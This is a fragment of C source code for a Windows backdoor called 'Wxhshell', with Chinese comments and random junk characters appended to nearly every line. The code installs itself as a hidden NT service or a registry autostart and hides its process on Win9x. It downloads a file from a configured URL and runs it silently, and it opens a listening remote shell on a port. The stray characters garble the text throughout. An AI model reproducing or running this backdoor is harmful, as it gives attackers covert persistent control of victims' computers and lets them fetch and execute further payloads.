ULONG InheritedFromUniqueProcessId; ?qSwV.l]d
} PROCESS_BASIC_INFORMATION; t CO?<QBE
1Dhe!
n#
PROCNTQSIP NtQueryInformationProcess; VK*`&D<P
ke;=Vg|
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z:AB(c
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KFO
K%vbM
<Fx%P:d
HANDLE hProcess; W<#!H e
PROCESS_BASIC_INFORMATION pbi; <XDnAv0t
:NWIUN
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /*BU5
if(NULL == hInst ) return 0; GT]>
oxeu%wj_
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AhA&=l
i;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +HUy,@^Pa
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
~XWBLU<
)SZ#%OE*
if (!NtQueryInformationProcess) return 0; 2SlL`hN>Z
G}l9 [lE
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Iq,h}7C8'
if(!hProcess) return 0; Vq-Kl[-|
=X5w=(&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >m;nt}f'+
PknKzrEG:>
CloseHandle(hProcess); 0L32sFy
Uvc$&j^k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t}Td$K7
if(hProcess==NULL) return 0; z?Z"*z
d(^HO~p
HMODULE hMod; `<v$+mG
char procName[255]; Z}vDP^rf
unsigned long cbNeeded; d(V4;8a0
dwUDhQt3Q
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _U4@W+lhX_
rX5"p!z
CloseHandle(hProcess); Vi^vG`L9
@VIY=qh
if(strstr(procName,"services")) return 1; // 以服务启动 McS]aJfrk
ZD|F"v.
return 0; // 注册表启动 H$WD7/?j
} 0n2H7}Uq
Gukvd6-g9b
// 主模块 1##@'L|u
int StartWxhshell(LPSTR lpCmdLine) iQ2}*:Jc$
{ RkF^V(
SOCKET wsl; $*N(feAs
BOOL val=TRUE; a;IOL
int port=0; V;CRs\aYf
struct sockaddr_in door; "mE/t (
i!UT =
if(wscfg.ws_autoins) Install(); E24}?t^|
F[jqJzCz
port=atoi(lpCmdLine); k1yqerA
v9 /37AU
if(port<=0) port=wscfg.ws_port; .L%pWRxA[
,38M6yD
WSADATA data; acUyz2x
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "m6G;cv
)l
m7ly8a|
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; LfW:G5@-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?,v&
o>*
door.sin_family = AF_INET; j(;ou?Uh
door.sin_addr.s_addr = inet_addr("127.0.0.1"); tg 'g R
door.sin_port = htons(port); : 4-pnn
Dmy=_j?ej
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :~W(#T,$E
closesocket(wsl); [9 :9<#?o^
return 1; z ULHgG
} PcZ<JJ16F$
gs i2
if(listen(wsl,2) == INVALID_SOCKET) { KTmwkZcfYD
closesocket(wsl); q)C
Xu
return 1; zx:;0Z:S6>
} 6+ptL-Zt<
Wxhshell(wsl); c'VCCXe
WSACleanup(); $>_`.*I/
BT0;I
return 0; Uj 4HVd
1uKIO{d@
} ,+h<qBsV@
>jTiYJI_M
// 以NT服务方式启动 rc>}3?o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tyaqa0
{ (gvnIoDl0
DWORD status = 0; 3"my!}03
DWORD specificError = 0xfffffff; NW;_4g4qE
>b0Bvx-
serviceStatus.dwServiceType = SERVICE_WIN32; />:$"+gKo
serviceStatus.dwCurrentState = SERVICE_START_PENDING; n.NWS/v_{
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r7}KV| M
serviceStatus.dwWin32ExitCode = 0; GJE+sqMX1
serviceStatus.dwServiceSpecificExitCode = 0; e8:O2!HW
serviceStatus.dwCheckPoint = 0; @44*<!da
serviceStatus.dwWaitHint = 0; jG& 8`*|*
P<[)
qq@;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @~7au9.V=X
if (hServiceStatusHandle==0) return; =2rdbq6R
sD?Ynpt
status = GetLastError(); %cDTq&Q
if (status!=NO_ERROR) ume70ap}m
{ T\4>4eX-
serviceStatus.dwCurrentState = SERVICE_STOPPED; _^RN$4.R>
serviceStatus.dwCheckPoint = 0; O#J7GbrHO
serviceStatus.dwWaitHint = 0; %$)Sz[=
serviceStatus.dwWin32ExitCode = status; LB$0'dZU
serviceStatus.dwServiceSpecificExitCode = specificError; yD!GgnW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7iv g3*
return; ER&\2,fZ
} Ji=`XsV
Cl&)#
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4/3w
*
serviceStatus.dwCheckPoint = 0; YaQ5Z-c
serviceStatus.dwWaitHint = 0; d0%Wz5Np
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?=_w5D.3J
} h?4EVOx+
TL$w~dY
// 处理NT服务事件,比如:启动、停止 `RU RC"
VOID WINAPI NTServiceHandler(DWORD fdwControl) &E!m(|6?+
{ $5\sV4 8f
switch(fdwControl) &io+*
{ bYhG`1,$-a
case SERVICE_CONTROL_STOP: Y![i=/
serviceStatus.dwWin32ExitCode = 0; ;.$vDin6
serviceStatus.dwCurrentState = SERVICE_STOPPED; 4wEkxCWp/
serviceStatus.dwCheckPoint = 0; \oGU6h<
serviceStatus.dwWaitHint = 0; Iv9U4
{ 9-1'jNV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *h5L1Eq
} ;8e}X6YU
return; %g>k0~TRf#
case SERVICE_CONTROL_PAUSE: vs$.i
serviceStatus.dwCurrentState = SERVICE_PAUSED; UF89gG4
break; `8\"3S
case SERVICE_CONTROL_CONTINUE: &h6 `hP_
serviceStatus.dwCurrentState = SERVICE_RUNNING; |L}tAS`8
break; uz3 ?c6b
case SERVICE_CONTROL_INTERROGATE: , :KJ({wM
break; QGErQ
+l
}; |vG?H#y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ehe#"exCB
} n1R{[\ >1
S&cN+r
// 标准应用程序主函数 5yV>-XT+-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mQU t 'j4
{ .]<iRf[\[
Gcxz$.(
// 获取操作系统版本 M#8_Qbvfk
OsIsNt=GetOsVer(); JH2-'
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]D2d=\
fv*
$=m
// 从命令行安装 p>T
if(strpbrk(lpCmdLine,"iI")) Install(); lPA}06hU
Ts=TaRwWf
// 下载执行文件 @K#}nKN'
if(wscfg.ws_downexe) { 6*|EB|%n
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ose)\rM'
WinExec(wscfg.ws_filenam,SW_HIDE); w#L`|cYCm
} L1@<7?@X
7}&vEc@w&
if(!OsIsNt) { _a`/{M|
// 如果时win9x,隐藏进程并且设置为注册表启动 <{Rz1CMc
HideProc(); {[{jlG4H
StartWxhshell(lpCmdLine); ka_R|xG\
} dg0WH_#
else H~ >\HV*
if(StartFromService()) }C=+Tn
// 以服务方式启动 :2A-;P4
StartServiceCtrlDispatcher(DispatchTable); mv/Nz?
else nU2w\(3|
// 普通方式启动 +& M>J|
StartWxhshell(lpCmdLine); x;STt3M~
!0KNA1w,
return 0; =C)2DW J1
} e>uq/|.!
Wh%@
6mIRa(6V
f{(D+7e}
=========================================== >4=7t&h
wo86C[
W<~u0AyO
3
y;.5AvfD
$ 93j;
b'`C<Rk
" 4C;"4''L
rZRTQ
#include <stdio.h> 73ABop
#include <string.h> m^tf=O<
#include <windows.h> %~lTQCPE
#include <winsock2.h> zmFKd5
#include <winsvc.h> 3JF" O+@
#include <urlmon.h> TD!c+${w
G/1V4-@
#pragma comment (lib, "Ws2_32.lib") yOk]RB<'r
#pragma comment (lib, "urlmon.lib") vsB3n$2@u
@]V_%,
#define MAX_USER 100 // 最大客户端连接数 Orlf5{P
#define BUF_SOCK 200 // sock buffer Cv`dK=n>
#define KEY_BUFF 255 // 输入 buffer R?2T0^0
iYr*0:M
#define REBOOT 0 // 重启 ]==S?_.B3n
#define SHUTDOWN 1 // 关机 {'?PGk%v
97}l`z;Z
#define DEF_PORT 5000 // 监听端口 %w3tzE1Hq
2kFP;7FO
#define REG_LEN 16 // 注册表键长度 E@Yq2FBpnn
#define SVC_LEN 80 // NT服务名长度 {]7lh#M
P@Pe5H"o
// 从dll定义API 'H1k
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `4qt mbj
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A_.}-dzF
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e~6>8YO+7j
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S<w?,Z
k&